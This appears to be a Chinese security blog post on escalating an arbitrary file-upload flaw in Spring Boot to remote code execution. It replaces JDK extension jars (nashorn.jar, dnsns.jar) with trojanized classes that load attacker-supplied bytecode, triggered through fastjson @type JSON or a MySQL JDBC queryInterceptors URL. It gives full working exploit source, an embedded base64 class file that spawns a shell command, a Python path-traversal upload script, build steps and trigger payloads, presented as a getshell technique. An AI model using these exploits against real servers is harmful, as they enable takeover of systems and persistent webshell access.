springboot环境下的任意文件写入,在pom.xml中没有引入解析jsp的情况下,只能依靠上传jar包或class字节码文件来进行RCE,大多是为了权限维持。而这篇文章我想讲的并不是权限维持,而是getshell。如果想getshell,就必须知道服务器jdk的绝对路径和服务启动的绝对路径,这一点就足够让师傅们挠头了,还不说需要一个任意文件写入漏洞。
charsets.jar
charsets.jar应该都听说过,核心原理是覆盖JAVA_HOME/jre/lib/charsets.jar,由于懒加载机制,当项目代码中没有调用到charsets.jar相关类时,在项目启动时jvm不会主动加载它。所以可以先用恶意jar包覆盖jdk目录下的charsets.jar,然后在header头中添加Accept: text/html;charset=GBK,此时jvm发现了新的字符编码,就会去jdk目录加载charsets.jar,从而触发恶意代码。但如果项目中使用到了charsets.jar相关类或调用了相关方法,这种方法就失效了
https://github.com/LandGrey/spring-boot-upload-file-lead-to-rce-tricks
nashorn.jar
这个jar包RCE很特殊,google了下都没有找到相关的利用文章,只有这篇文章提到了,所以便来探索下可行性
这个jar包的RCE和charsets.jar的原理类似,都是通过jvm懒加载机制来加载我们的恶意代码,但是触发方式有所变化,nashorn.jar可以通过fastjson来触发(autotype关闭的情况下)。
而fastjson高版本的autotype都是默认关闭的,我们无法调用白名单外的类的任意setter或getter。
随意写一个User类,这里用fastjson1.2.83版本,直接尝试解析是会报错的
PoC = "{\"@type\":\"fastjsonGadget.User\",\"name\":\"123\", \"age\":\"23\"}\n";
System.out.println(JSON.parseObject(PoC));

但@JSONType注解可以绕过这个限制,此时我们在static静态代码块加入恶意代码
package fastjsonGadget;
import com.alibaba.fastjson.annotation.JSONType;
@JSONType
public class User {
private String name;
private int age;
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {}
}
public User() {
System.out.println("调用了无参构造方法");
}
@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
public User(String name, int age) {
this.name = name;
this.age = age;
System.out.println("调用了有参构造方法");
}
}

可以观察到这里还调用了无参构造函数,那么我们也可以把恶意代码写入到无参构造函数内,同样能实现RCE
但是它们都共同有一个缺陷,就是一旦使用fastjson触发加载进内存后,就不能再修改这个jar包了,内容固定了,之后如果想更改字节码就必须重启服务。所以我们还需一个可以传参,然后加载任意字节码的方案。
提到fastjson,很难不想到setter和getter,它们能够接收参数,并且fastjson在实例化类时会自动调用,所以可以利用这一点来改良代码。
构造恶意nashorn.jar包,需要替换nashorn\jdk\nashorn\tools\Shell.class
构造步骤
1.备份并解压正常的nashorn.jar包,位于JAVA_HOME/jre/lib/ext/
2.在nashorn\jdk\nashorn\tools\下创建Shell.java,代码如下,这里就直接用这位师傅的代码来修改一下了
3.将fastjson-1.2.83.jar和正常的nashorn.jar包放在解压出来的nashorn目录下,用于编译Shell.java
nashorn
--jdk
--META-INF
--fastjson-1.2.83.jar
--nashorn.jar
4.编译Shell.java
windows
javac -cp "fastjson-1.2.83.jar;nashorn.jar" jdk/nashorn/tools/Shell.java
linux
javac -cp "fastjson-1.2.83.jar:nashorn.jar" jdk/nashorn/tools/Shell.java
没有报错就算成功
5.将恶意Shell.class重新打包进nashorn.jar
jar -uvf nashorn.jar jdk/nashorn/tools/Shell.class
package jdk.nashorn.tools;
import java.lang.reflect.Method;
import com.alibaba.fastjson.annotation.JSONCreator;
import com.alibaba.fastjson.annotation.JSONField;
import com.alibaba.fastjson.annotation.JSONType;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.Locale;
import java.util.ResourceBundle;
import jdk.nashorn.api.scripting.NashornException;
import jdk.nashorn.internal.codegen.Compiler;
import jdk.nashorn.internal.ir.FunctionNode;
import jdk.nashorn.internal.ir.debug.ASTWriter;
import jdk.nashorn.internal.ir.debug.PrintVisitor;
import jdk.nashorn.internal.objects.Global;
import jdk.nashorn.internal.parser.Parser;
import jdk.nashorn.internal.runtime.Context;
import jdk.nashorn.internal.runtime.ErrorManager;
import jdk.nashorn.internal.runtime.JSType;
import jdk.nashorn.internal.runtime.ScriptEnvironment;
import jdk.nashorn.internal.runtime.ScriptFunction;
import jdk.nashorn.internal.runtime.ScriptRuntime;
import jdk.nashorn.internal.runtime.ScriptingFunctions;
import jdk.nashorn.internal.runtime.Source;
import jdk.nashorn.internal.runtime.options.Options;
@JSONType
public class Shell {
private static final String MESSAGE_RESOURCE = "jdk.nashorn.tools.resources.Shell";
public void setJavaCode(String javaCode) {
try {
Class clazz = defineCls(javaCode);
if (clazz != null) {
clazz.newInstance();
}
} catch (Exception e) {}
}
public static Class defineCls(String message) {
try {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
defineClass.setAccessible(true);
byte[] clazzByte = base64Decode(message);
Class aClass = (Class) defineClass.invoke(
Thread.currentThread().getContextClassLoader(),
clazzByte, 0, clazzByte.length
);
return aClass;
} catch (Throwable var5) {
var5.printStackTrace();
}
return null;
}
public static byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class)
.invoke(clazz.newInstance(), str);
} catch (Exception var4) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class)
.invoke(decoder, str);
}
}
}
最后使用fastjson触发即可
{"@type":"jdk.nashorn.tools.Shell","javaCode":"xxx"}
实验
docker启动服务

用python上传恶意jar包,覆盖JAVA_HOME/jre/lib/ext/nashorn.jar
import requests
url = "http://192.168.239.139:8081/upload"
#proxy = {'http': 'http://127.0.0.1:8080'}
target_path = "../../usr/lib/jvm/jdk1.8.0_201/jre/lib/ext/nashorn.jar"
with open(r"C:\Users\13903\Desktop\nashorn\nashorn.jar", "rb") as f:
files = {
'file': (target_path, f, 'application/octet-stream')
}
response = requests.post(url, files=files)
print(response.text)
上传成功后,访问/json
{"@type":"jdk.nashorn.tools.Shell","javaCode":"xxx"}

哥斯拉连接

dnsns.jar
dnsns.jar也是位于jre/lib/ext路径下的文件,其核心原理与 nashorn.jar 类似:通过文件上传漏洞替换或污染这个扩展包中的类,再通过 Fastjson 反序列化触发该类的setter,从而实现 RCE。
由于利用方式相同,这里就不再过多赘述了,讲一下构造步骤即可
构造步骤
1.备份并解压正常的dnsns.jar包,位于JAVA_HOME/jre/lib/ext/
2.在dnsns\sun\net\spi\nameservice\dns\下创建DNSNameServiceDescriptor.java,代码如下
package sun.net.spi.nameservice.dns;
import com.alibaba.fastjson.annotation.JSONCreator;
import com.alibaba.fastjson.annotation.JSONField;
import com.alibaba.fastjson.annotation.JSONType;
import sun.net.spi.nameservice.NameService;
import sun.net.spi.nameservice.NameServiceDescriptor;
import java.lang.reflect.Method;
@JSONType
public class DNSNameServiceDescriptor implements NameServiceDescriptor {
public void setJavaCode(String javaCode) {
try {
Class clazz = defineCls(javaCode);
if (clazz != null) {
clazz.newInstance();
}
} catch (Exception e) {}
}
public static Class defineCls(String message) {
try {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
defineClass.setAccessible(true);
byte[] clazzByte = base64Decode(message);
return (Class) defineClass.invoke(
Thread.currentThread().getContextClassLoader(),
clazzByte, 0, clazzByte.length
);
} catch (Throwable var5) {
var5.printStackTrace();
}
return null;
}
public static byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception var4) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
@Override
public NameService createNameService() { return null; }
@Override
public String getType() { return "dns"; }
@Override
public String getProviderName() { return "sun"; }
}
3.将fastjson-1.2.83.jar和正常的dnsns.jar包放在解压出来的dnsns目录下,用于编译DNSNameServiceDescriptor.java
dnsns
--sun
--META-INF
--fastjson-1.2.83.jar
--dnsns.jar
4.编译DNSNameServiceDescriptor.java
javac -cp "fastjson-1.2.83.jar" sun/net/spi/nameservice/dns/DNSNameServiceDescriptor.java
5.将恶意Shell.class重新打包进dnsns.jar
jar -uvf dnsns.jar sun/net/spi/nameservice/dns/DNSNameServiceDescriptor.class
最后同样fastjson触发
{"@type":"sun.net.spi.nameservice.dns.DNSNameServiceDescriptor","javaCode":"xxx"}
参考文章
https://forum.butian.net/share/4715
其他触发方式
Mysql JDBC
mysql jdbc连接字符串中有一个名为queryInterceptors的参数,在5.x的版本中叫statementInterceptors,不过一般都是queryInterceptors,碰到的都是8.0.20以上的不存在反序列化的版本。毕竟谁会摆着jdbc反序列化不用,去用这个RCE呢对吧。
在正常的jdbcurl中,queryInterceptors参数的值都是mysql的驱动程序,jdbc会识别这个参数,然后将其实例化,这就刚好满足了我们的要求,因为上面三种jar包的触发方式就是需要实例化来进行恶意类的加载。
这里用static静态代码块来触发,然后编译,压入jar包,覆盖jar包
package sun.net.spi.nameservice.dns;
import com.alibaba.fastjson.annotation.JSONCreator;
import com.alibaba.fastjson.annotation.JSONField;
import com.alibaba.fastjson.annotation.JSONType;
import sun.net.spi.nameservice.NameService;
import sun.net.spi.nameservice.NameServiceDescriptor;
import java.lang.reflect.Method;
@JSONType
public class DNSNameServiceDescriptor implements NameServiceDescriptor {
private static String javaCode = "yv66vgAAADIAQAEAVG9yZy9hcGFjaGUvY29sbGVjdGlvbnMvY295b3RlL3V0aWwvSVNPODYwMURhdGVGb3JtYXRkOGFiY2UzY2QzMTU0ODUyYWI3NDJjZjI3MWJhODNiNQcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBAARiYXNlAQASTGphdmEvbGFuZy9TdHJpbmc7AQADc2VwAQADY21kAQAGPGluaXQ+AQADKClWAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcACwwACQAKCgAEAA0BAAdvcy5uYW1lCAAPAQAQamF2YS9sYW5nL1N5c3RlbQcAEQEAC2dldFByb3BlcnR5AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsMABMAFAoAEgAVAQAQamF2YS9sYW5nL1N0cmluZwcAFwEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsMABkAGgoAGAAbAQADd2luCAAdAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAB8AIAoAGAAhAQAHY21kLmV4ZQgAIwwABQAGCQACACUBAAIvYwgAJwwABwAGCQACACkBAAcvYmluL3NoCAArAQACLWMIAC0MAAgABgkAAgAvAQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyBwAxAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgwACQAzCgAyADQBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwwANgA3CgAyADgBAAg8Y2xpbml0PgEABGNhbGMIADsKAAIADQEABENvZGUBAA1TdGFja01hcFRhYmxlACEAAgAEAAAAAwAJAAUABgAAAAkABwAGAAAACQAIAAYAAAACAAEACQAKAAEAPgAAAIQABAACAAAAUyq3AA4SELgAFrYAHBIetgAimQAQEiSzACYSKLMAKqcADRIsswAmEi6zACoGvQAYWQOyACZTWQSyACpTWQWyADBTTLsAMlkrtwA1tgA5V6cABEyxAAEABABOAFEADAABAD8AAAAXAAT/ACEAAQcAAgAACWUHAAz8AAAHAAQACAA6AAoAAQA+AAAAGgACAAAAAAAOEjyzADC7AAJZtwA9V7EAAAAAAAA=";
static {
try {
Class clazz = defineCls(javaCode);
if (clazz != null) {
clazz.newInstance();
}
} catch (Exception e) {}
}
public static Class defineCls(String message) {
try {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
defineClass.setAccessible(true);
byte[] clazzByte = base64Decode(message);
return (Class) defineClass.invoke(
Thread.currentThread().getContextClassLoader(),
clazzByte, 0, clazzByte.length
);
} catch (Throwable var5) {
var5.printStackTrace();
}
return null;
}
public static byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception var4) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
@Override
public NameService createNameService() { return null; }
@Override
public String getType() { return "dns"; }
@Override
public String getProviderName() { return "sun"; }
}
jdbcurl
jdbc:mysql://127.0.0.1:3308/test?queryInterceptors=sun.net.spi.nameservice.dns.DNSNameServiceDescriptor&user=d53e58d

jdbcurl的触发方式缺点就是无法传递参数,只有一次机会,其他的像jackson也可以,但是需要开启enableDefaultTyping(),目前还没有遇到过,之后遇到再来补上吧